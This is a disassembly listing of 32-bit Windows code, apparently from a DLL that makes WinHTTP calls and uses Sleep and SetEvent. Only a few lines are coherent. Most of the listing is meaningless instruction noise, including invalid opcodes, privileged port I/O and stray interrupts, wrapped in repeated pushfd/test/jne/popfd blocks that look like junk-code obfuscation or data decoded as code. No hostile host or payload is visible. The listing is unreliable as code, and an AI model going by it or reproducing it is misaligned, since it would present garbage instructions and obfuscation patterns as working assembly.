mov dword [0xb514c89f], eax
push edx
inc edx
test byte [ecx + 0x28], bl
dec edx
rcr dword [ebx + 0x7ed1360c], cl
lodsd eax, dword [esi]
std
jo 0x1008772e
stosb byte es:[edi], al
arpl word [eax - 0x3911bd06], bp
xor byte [edi - 0x198698e5], ah
scasd eax, dword es:[edi]
sbb esp, dword [edi + 0x79]
out 0xaf, al
and ch, byte [esp + ebx*4 + 0x57f9f940]
xchg edi, eax
adc ebx, dword [eax + 0xc]
lahf
fiadd dword [eax - 0x5fe41130]
shr dh, 1
sbb esp, dword [eax - 0x69c167db]
sub byte [ebx - 0x28], cl
mov esi, 0x99bdf29f
and eax, 0x28963e98
dec ebx
fdivr dword [esi - 0x66420d61]
xor al, 0x83
or edx, dword [ebx - 0x2b92ce6e]
inc esp
mov ebp, 0x4798c748
inc ebx
je 0x10087816
inc edx
sti
pop ss
sbb al, 0xe8
rcl dword [esi - 0x3f8722dc]
call 0xed2d0ec4
js 0x100877b5
fnstsw word [eax - 0x40]
out dx, al
lds ebp, [0xe47d09f2]
xor dword [0x57a87161], esi
add byte [edx], cl
xlatb
add al, 0xdd
test al, 0x3b
sub edi, esi
mov eax, dword [0x58ef33d4]
cmp byte [ebp - 0x1b], 0x5e
popfd
push ebx
push ebx
call fcn.10049c0c
add esp, 0xc
jmp 0x10087b00
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
pushfd
test byte [0x10087876], 0xc4
jne 0x10087877
in al, dx
jb 0x100877f2
fdiv qword [edx]
dec eax
mov dword [0xa3423651], eax
dec ebp
xchg edx, eax
push ecx
mov ah, 0x44
mov dl, 0x91
adc cl, ch
sub dword [ecx], ecx
inc ebp
inc ebp
scasd eax, dword es:[edi]
mov dl, byte [esi]
imul ebp, dword [bx + di + 0x3441], 0x82645608
cmp dword [edx + 0x5e9e70e5], 0x2b
call 0x4016f93f
pop eax
dec ebp
xchg ebp, eax
mov cl, 4
out 0xf, al
int1
stosd dword es:[edi], eax
add al, 0x62
push edx
dec ebx
ja 0x100878e3
mov ch, 0x26
popfd
push str.WinHttpCrackUrl_Error:_d
push ebx
push ebx
mov dword [edi + 0x124], eax
call fcn.10049c0c
add esp, 0x10
cmp dword [ebp - 0xcc0], ebx
je 0x10087b00
add al, byte [bx + si]
add bh, bh
mov ch, 0x40
invalid
push dword [ebp - 0xcc0]
call dword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov dword [ebp - 0xcc0], ebx
mov ecx, dword [ebp - 0xcc0]
pushfd
test byte [0x10087908], 0x70
jne 0x10087909
fdivr dword [0x2368b988]
lahf
loopne 0x100878d8
dec ecx
std
xchg edi, eax
cmp al, 0x5c
adc eax, 0xc9741423
leave
xchg byte [eax + edi*8 + 0x5eb77029], cl
add al, 0x1f
nop
int 0x67
ja 0x10087885
and al, 0xfb
outsd dx, dword [esi]
mov edx, 0xdf29184c
cld
mov al, 0xc0
fdivr st(3)
dec eax
xor al, 0x22
xchg esi, eax
pop eax
aaa
pushfd
salc
adc byte [edx], bh
push ebp
outsb dx, byte [esi]
nop
pop es
dec ebp
call 0x831dc7f1
ja 0x10087895
invalid
jecxz 0x100878cd
pop ebp
scasb al, byte es:[edi]
pop es
inc edx
push ss
pop edi
popfd
cmp ecx, ebx
je 0x10087b00
mov eax, dword [ebp - 0xcdc]
push dword [eax + 0x1c8]
pushfd
test byte [0x10087a25], 0x6c
jne 0x10087a26
push edx
dec ebx
ror dword [esi - 0x3d9f827e], 1
adc bl, byte [eax]
sub byte [eax - 0x52], ah
xor dword [ecx], ebx
stc
add byte [edi - 0x4b6952c2], ah
aad 0x10
insd dword es:[edi], dx
lea esi, [ecx]
or byte [eax], al
insb byte es:[edi], dx
mov ah, 0xe2
pop edi
aaa
in al, dx
jbe 0x100878d8
dec edi
sub dword [ecx - 9], esp
inc edx
xchg edx, eax
mov esp, 0x4982f4ff
mov dword [0x6490d989], eax
or dword [edi + 0x69], ebx
push esp
or byte [ecx - 0x5d], 0x89
fst dword [eax + 0x695f0964]
xchg dword [edx + 0x66], ebp
inc esp
movsd dword es:[edi], dword [esi]
repne cmpsd dword ds:[esi], dword es:[edi]
mov gs, word [edi + ebp*2 - 0x5afb37f1]
push edi
aas
jecxz 0x100879a6
aam 0xa8
mov bl, 0x1c
sub byte [edi + 0x73875506], bh
xchg ebp, eax
add esp, edi
sbb ebp, dword [eax + 0x52]
cmpsd dword [esi], dword es:[edi]
or al, 0x2d
xchg byte [ebx + 0x75], bh
cmp dword [edi], eax
jbe 0x10087951
xchg edx, eax
inc byte [eax - 0x12ea30cf]
in al, dx
push esi
bound esp, qword [esi]
in al, 0xb3
sub eax, 0xabbe533a
stosd dword es:[edi], eax
push eax
mov bl, 0xb9
jecxz 0x10087959
push eax
mov dword [0x35cbae10], eax
pop ss
ror byte [edi + ebx*4], cl
pop es
test byte [edi + edi - 0x5accfe2d], cl
arpl word [edx + 0x12], dx
daa
and eax, 0x65557d2d
dec edx
jge 0x10087a1b
dec edx
clc
stosd dword es:[edi], eax
dec eax
in eax, 0xae
cmpsb byte [esi], byte es:[edi]
sub al, 0x66
insd dword es:[edi], dx
scasb al, byte es:[edi]
pushal
xor al, 0x44
xlatb
outsb dx, byte [esi]
push ebp
jne 0x100879e4
leave
daa
xor edx, dword [ecx]
jb 0x100879d3
inc edi
in eax, 0x84
fnstsw word [esp + eax*2]
cmp al, 0x44
mov byte [0xaedb5fa3], 0x18
or byte [eax - 0x57f2bd9c], 0x96
pop edi
push cs
sti
ja 0x100879c4
pop es
test al, 0x62
enter 0xffffffffffffba84, 0xffffffffffffff9a
outsb dx, byte [esi]
dec ecx
mov ch, byte [0xcb3eb399]
imul ebp, edx, 0xed42daee
inc edx
in eax, dx
mov eax, 0xe68090e
cld
push ebp
sub bh, byte [ecx - 0x20]
movsb byte es:[edi], byte [esi]
xor byte [edi], bh
inc ebx
out dx, eax
mov eax, 0x4c23c424
les ecx, [ecx]
popfd
mov dword [eax + 8], ecx
call dword [sym.imp.KERNEL32.dll_SetEvent]
pushfd
test byte [0x10087af6], 0x91
jne 0x10087af7
out 0x3f, eax
in al, dx
jno 0x10087a0d
sub edi, 0x976f9e88
push esi
mov ah, 0x16
int3
popfd
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
push ebx
push 1
lea ecx, [ebp - 0xcb0]
call fcn.10002a9a
mov al, byte [ebp - 0xce1]
jmp 0x10087d09
push ebx
push 1
lea ecx, [ebp - 0xcb0]
pushfd
test byte [0x10087cc1], 0x70
je 0x10087cc2
pop eax
aaa
cmp bh, byte [edi + 0x1c]
out dx, al
pushal
pushfd
push ebp
scasb al, byte es:[edi]
push ebp
std
setbe byte [0x2ef0b482]
pop esp
ja 0x10087c31
sub ebx, dword [ebx + 0x27e79d40]
stc
pop ds
xor eax, 0xe4111383
int1
jnp 0x10087c99
adc al, 0x10
and eax, 0x4441cda7
out 0x65, al
xchg ebp, eax
pop ss
sahf
salc
mov ah, 0x70
jle 0x10087cb8
sahf
cdq
scasb al, byte es:[edi]
or al, al
inc eax
call 0xcc4cd598
ja 0x10087cb8
or al, byte [esi]
or byte [ebx + 0x3608736b], dl
mov eax, dword [0xc5adf582]
je 0x10087ce7
stosd dword es:[edi], eax
stosb byte es:[edi], al
fsub dword [eax]
lodsb al, byte [esi]
jg 0x10087d08
test eax, 0x56605a3f
imul eax, dword [ebx + 0x13], 0xd4d39510
cmp eax, 0xdc8c64f9
mov esp, ds
push ebp
dec edi
out 0xf4, eax
inc ecx
mov bh, 0x62
test dword [eax], edx
push edx
or bh, ch
mov esi, 0x5179acfd
push ecx
inc ebp
xchg esp, eax
dec edx
inc ebp
add al, 6
and al, 0xfd
insd dword es:[edi], dx
cmp edi, eax
mov dh, 0xc5
lds esi, [esi + 0x50]
jbe 0x10087d0b
fidivr word [esi + 0x55]
enter 0xffffffffffff8f44, 0xffffffffffffff8c
popfd
mov dword [edi + 0x124], 0x57
call fcn.10002a9a
xor al, al
pushfd
test byte [0x10087d07], 0xb8
jne 0x10087d08
cmp ah, byte [ecx + 0xb]
std
jno 0x10087cab
ror byte [ecx + 0x53b1195b], cl
outsd dx, dword [esi]
adc al, 0xab
pop ebx
sbb dword [ecx - 0x54eb90ad], esi
stc
xor bl, byte [ebx + 0x7c9ea626]
and byte [ecx], ah
sahf
aas
xchg dword [ebx - 0x3fb24363], ecx
xlatb
push ebp
push ebp
stosb byte es:[edi], al
xor eax, 0x81e0dacc
popfd
lea esp, [ebp - 0xd98]
pushfd
push 0x9cfffff2
test byte [0x10087d4f], 0x66
jne 0x10087e50
add dword [eax], eax
add dl, ah
lcall 0x6d48, 0xbf9388
loop 0x10087cb9
mov byte [ebx + 0x6d4800bf], dl
in eax, 0xe2
and bl, byte [edi]
enter 0xfffffffffffff4c8, 0x40
cmp byte [0x125f836b], bh
mov ss, word [edx - 0x3439fa58]
pop ebp
pop ss
and cl, al
scasb al, byte es:[edi]
rcr dword [edi + 2], 1
test ebp, ebx
mov ebp, dword [ecx]
and dword [eax], ecx
movsb byte es:[edi], byte [esi]
out 0x34, al
pop ebp
pop ebp
jl 0x10087daa
jg 0x10087cf8
xchg dword [edi], edx
out 0xeb, eax
jo 0x10087dd3
lea eax, [edx]
loop 0x10087dc1
cmp al, 5
cmp ebx, dword [ebx + 0x5e]
add al, 0xed
mov esi, dword [ebx - 0x71]
mov ds, ecx
push ebp
div byte [esi + 0xe11f8a3]
mov al, 0xd7
into
stosd dword es:[edi], eax
or dword [eax - 0x14], esp
int1
in eax, dx
fist dword [ebp*4 - 0x712d4ce8]
inc ebx
dec ecx
jns 0x10087d1a
invalid
insb byte es:[edi], dx
dec ebp
aaa
xor dword [eax + 0x6901569], edx
adc dl, byte [0x6cdfc544]
xchg ecx, eax
push ebp
test byte [eax], ah
cmp byte [edx], dl
mov dword [0xaf06cf35], eax
jbe 0x10087d4c
mov ebx, 0x1b2a5a24
add dword [esi], ebx
mov ah, 0x3d
repne insb byte es:[edi], dx
insb byte es:[edi], dx
ja 0x10087d99
xor bh, al
or esp, 0xffffffc0
fimul word [eax + 0x70]
enter 0x6aee, 0x37
xchg edx, eax
ja 0x10087d66
in eax, 0xa4
inc ebx
and edi, esi
inc eax
cwde
scasb al, byte es:[edi]
fsub dword [esi - 0x75117683]
into
in al, dx
int 0xe4
int1
out dx, al
jae 0x10087e19
mov eax, dword [0xdac0da0c]
and eax, 0x195f09b0
bound eax, qword [0xd48b2b5]
mov eax, dword [0xcdc4d08b]
dec edi
or al, 0xda
rcr dl, 0x25
mov al, 9
pop edi
sbb dword [edx + 5], esp
mov ch, 0xb2
dec eax
or eax, 0xc4d08ba1
int 0x4f
jns 0x10087d97
xchg edx, eax
or ah, byte [0x3eebe7d2]
lodsd eax, dword [esi]
jno 0x10087dde
push esp
mov cl, 0x2a
scasd eax, dword es:[edi]
fisubr word [eax - 0x60]
jecxz 0x10087e2c
sub ah, dh
and dword [0xaa12ebd4], esi
mov cl, 0x7e
out 0x28, al
adc dl, bl
mov ebp, 0x4e3911a4
salc
inc esp
and esp, dword [edi + 0x64]
xor byte [esi + 0x15], ah
mov ss, word [ebp + 0x5d]
push ebp
pop ebp
xchg ecx, eax
push es
salc
cld
out dx, eax
and ebp, ecx
sbb eax, 0xfd3a29d5
inc ebx
sbb al, 0xab
sub eax, 0x7868f36e
mov al, byte [0xe4742b32]
push 0x2b32a078
je 0x10087e18
and ecx, ecx
insb byte es:[edi], dx
test al, 0x24
pop ecx
in al, dx
cmp dword ss:[ecx], edx
or al, byte [0x92d2e508]
imul ebp, edx, 0x4326f77
add eax, 0x4738575a
std
popfd
call fcn.1011e585
ret 8